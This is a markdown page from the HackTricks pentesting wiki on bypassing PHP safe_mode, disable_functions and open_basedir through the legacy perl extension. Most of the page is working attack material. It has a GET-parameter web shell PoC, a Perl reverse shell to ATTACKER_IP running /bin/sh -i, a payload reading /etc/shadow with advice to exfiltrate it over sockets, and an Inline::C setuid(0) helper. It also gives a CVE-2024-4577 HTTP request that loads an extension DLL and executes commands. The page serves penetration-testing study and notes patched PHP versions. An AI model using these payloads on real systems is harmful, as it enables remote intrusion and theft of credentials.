disable-functions-bypass-php-perl-extension-safe-mode-bypass-exploit.md (8932B)
1 --- 2 title: "PHP Perl Extension Safemode Bypass Exploit" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP Perl Extension Safe_mode Bypass Exploit 14 15 ## Background 16 17 The issue tracked as **CVE-2007-4596** comes from the legacy `perl` PHP extension, which embeds a Perl interpreter without enforcing PHP's `safe_mode` restrictions. Perl evaluation also operates outside controls such as PHP's `disable_functions` and `open_basedir`, so a loaded extension can expose command and filesystem primitives that PHP attempted to restrict. `safe_mode` disappeared in PHP 5.4; this technique is relevant primarily to old shared-hosting installations and deliberately vulnerable labs.<sup>[[1]](#references)[[2]](#references)</sup> 18 19 ## Compatibility and Packaging Status 20 21 - The last PECL release (`perl-1.0.1`, 2013) declares PHP 5.0 or newer, but the package is unmaintained and its source targets the PHP 5-era Zend API. PHP 7/8 generally require an unofficial port and an exact ABI build; the version string alone does not establish compatibility.<sup>[[2]](#references)</sup> 22 - PECL is being superseded by PIE, but legacy stacks still ship PECL/PEAR.<sup>[[4]](#references)</sup> Treat the flow below as a PHP 5 lab recipe unless a target already contains a compatible extension. 23 24 ## Building a Testable Environment in 2025 25 26 - Fetch `perl-1.0.1` from PECL, compile it for the PHP branch you plan to attack, and load it globally (`php.ini`) or via `dl()` (if permitted). 27 - Legacy Debian-based lab recipe (requires an archive or third-party repository that still provides PHP 5.6 packages): 28 ```bash 29 sudo apt install php5.6 php5.6-dev php-pear build-essential 30 sudo pecl install perl-1.0.1 31 echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini 32 sudo phpenmod perl && sudo systemctl restart apache2 33 ``` 34 - During an authorized test, confirm availability with `var_dump(extension_loaded('perl'));` or `print_r(get_loaded_extensions());`. If absent, search for a correctly built `perl.so` and writable **system-level** PHP configuration. The `extension` directive is `php.ini`-only and cannot be set in `.user.ini`.<sup>[[8]](#references)</sup> 35 - Because the interpreter lives inside the PHP worker, Perl code does not need `/usr/bin/perl` or PHP process-launching functions. Operating-system permissions, mandatory access controls, and network-egress filtering still apply. 36 37 ### On-host build chain with shell and compiler access 38 39 If `phpize`, a compiler toolchain, Perl development headers, and shell execution are available, you can build a matching `perl.so` on the host: 40 41 ```bash 42 # grab the tarball from PECL 43 wget https://pecl.php.net/get/perl-1.0.1.tgz 44 tar xvf perl-1.0.1.tgz && cd perl-1.0.1 45 phpize 46 ./configure --with-perl=/usr/bin/perl --with-php-config="$(command -v php-config)" 47 make -j$(nproc) 48 cp modules/perl.so /tmp/perl.so 49 # loading requires a writable php.ini/scanned system INI or control of CGI arguments/service config 50 ``` 51 The module must match PHP's API, architecture, thread-safety mode, and linked Perl ABI. `open_basedir` is not a substitute for controlling extension loading, but an attacker still needs a configuration or process-start primitive that accepts `extension=`. The compilation flow mirrors the PHP manual for building PECL extensions.<sup>[[3]](#references)[[8]](#references)</sup> 52 53 ## Original PoC (NetJackal) 54 55 The original NetJackal PoC remains useful for confirming that the legacy extension responds to `eval`:<sup>[[1]](#references)[[7]](#references)</sup> 56 57 ```php 58 <?php 59 if(!extension_loaded('perl'))die('perl extension is not loaded'); 60 if(!isset($_GET))$_GET=&$HTTP_GET_VARS; 61 if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; 62 $perl=new perl(); 63 echo "<textarea rows='25' cols='75'>"; 64 $perl->eval("system('".$_GET['cmd']."')"); 65 echo "</textarea>"; 66 $_GET['cmd']=htmlspecialchars($_GET['cmd']); 67 echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"; 68 ?> 69 ``` 70 71 ## Modern Payload Enhancements 72 73 ### 1. Reverse shell over TCP 74 75 The embedded interpreter can load `IO::Socket` even if `/usr/bin/perl` is blocked. This provides a basic interactive shell over pipes, not a fully allocated terminal/PTY:<sup>[[2]](#references)</sup> 76 77 ```php 78 $perl = new perl(); 79 $payload = <<<'PL' 80 use IO::Socket::INET; 81 my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp'); 82 open STDIN, '<&', $c; 83 open STDOUT, '>&', $c; 84 open STDERR, '>&', $c; 85 exec('/bin/sh -i'); 86 PL; 87 $perl->eval($payload); 88 ``` 89 90 ### 2. File-System Escape Even with `open_basedir` 91 92 Perl ignores PHP’s `open_basedir`, so you can read arbitrary files: 93 94 ```php 95 $perl = new perl(); 96 $perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;'); 97 ``` 98 99 Pipe the output through `IO::Socket::INET` or `Net::HTTP` to exfiltrate data without touching PHP-managed descriptors. 100 101 ### 3. Inline native helper compilation 102 103 If `Inline::C`, a compiler, writable build directories, and headers exist, Perl can compile native helpers without PHP's `ffi` or `pcntl`. This does **not** inherently escalate privileges: `setuid(0)` succeeds only if the worker already has that privilege or a separate local privilege-escalation condition exists. 104 105 ```php 106 $perl = new perl(); 107 $perl->eval(<<<'PL' 108 use Inline C => 'DATA'; 109 print escalate(); 110 __DATA__ 111 __C__ 112 char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; } 113 PL 114 ); 115 ``` 116 117 ### 4. Living-off-the-Land Enumeration 118 119 Treat embedded Perl as a living-off-the-land interpreter. For example, DBI can enumerate data sources exposed by an installed MySQL driver even if PHP's `mysqli` extension is missing: 120 121 ```php 122 $perl = new perl(); 123 $perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);'); 124 ``` 125 126 ## 2024+ Abuse: Loading `perl.so` via PHP-CGI Argument Injection (CVE-2024-4577) 127 128 On vulnerable Windows installations that expose **PHP-CGI**, CVE-2024-4577 can convert a soft hyphen to a command-line hyphen under affected Windows best-fit locales, allowing injected `-d` options. If—and only if—the attacker already has an ABI-, architecture-, and thread-safety-compatible Windows Perl extension DLL, this can load it even when `dl()` is disabled and `php.ini` is read-only.<sup>[[5]](#references)</sup> 129 130 * Build or upload a compatible Windows extension DLL (for example, `C:\xampp\htdocs\temp\php_perl.dll`). PECL does not provide a current drop-in DLL, making this prerequisite uncommon. 131 * Send a single HTTP request that injects `-d extension=C:\\xampp\\htdocs\\temp\\perl.dll` and, in the same request body, a Perl-backed payload: 132 133 ```http 134 POST /?%ADd+extension=C:\\xampp\\htdocs\\temp\\php_perl.dll+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 135 Host: victim 136 Content-Type: application/x-www-form-urlencoded 137 Content-Length: 120 138 139 <?php $p=new perl(); $p->eval("system('whoami && hostname')"); ?> 140 ``` 141 142 If the DLL loads, the PHP worker embeds Perl before evaluating the request body, exposing the same out-of-policy Perl primitives. The initial fix shipped in PHP 8.1.29/8.2.20/8.3.8, and a later bypass was addressed as CVE-2024-8926 in PHP 8.1.30/8.2.24/8.3.12; defenders should run a currently supported, fully updated PHP release rather than stopping at the first fixed version.<sup>[[6]](#references)[[9]](#references)</sup> 143 144 ## References 145 146 - [1] [NVD - CVE-2007-4596](https://nvd.nist.gov/vuln/detail/CVE-2007-4596) 147 - [2] [PECL perl extension package information](https://pecl.php.net/package/perl) 148 - [3] [PHP Manual: building PECL extensions with phpize](https://www.php.net/manual/en/install.pecl.phpize.php) 149 - [4] [PECL homepage announcing PIE replacement](https://pecl.php.net/) 150 - [5] [CVE-2024-4577 PHP-CGI argument injection PoC](https://github.com/AlperenY-cs/CVE-2024-4577) 151 - [6] [Plesk advisory summarizing CVE-2024-4577 impact and patched versions](https://support.plesk.com/hc/en-us/articles/24020385443351-Security-Alert-CVE-2024-4577-PHP-CGI-Argument-Injection-Vulnerability) 152 - [7] [Exploit-DB 4314 - PHP Perl Extension Safe Mode Bypass](https://www.exploit-db.com/exploits/4314) 153 - [8] [PHP manual - core INI directives and `extension` changeability](https://www.php.net/manual/en/ini.core.php) 154 - [9] [PHP 8 ChangeLog - CVE-2024-4577 and CVE-2024-8926 fixes](https://www.php.net/ChangeLog-8.php)